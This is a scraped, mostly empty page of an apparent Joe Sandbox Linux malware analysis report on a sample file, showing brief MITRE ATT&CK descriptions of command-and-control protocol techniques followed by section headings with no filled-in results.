Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 6Sn3nPe88V.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: 6Sn3nPe88V.elf PID: 5598, Parent PID: 5516

General

Chronological Activities

Linux Analysis Report
6Sn3nPe88V.elf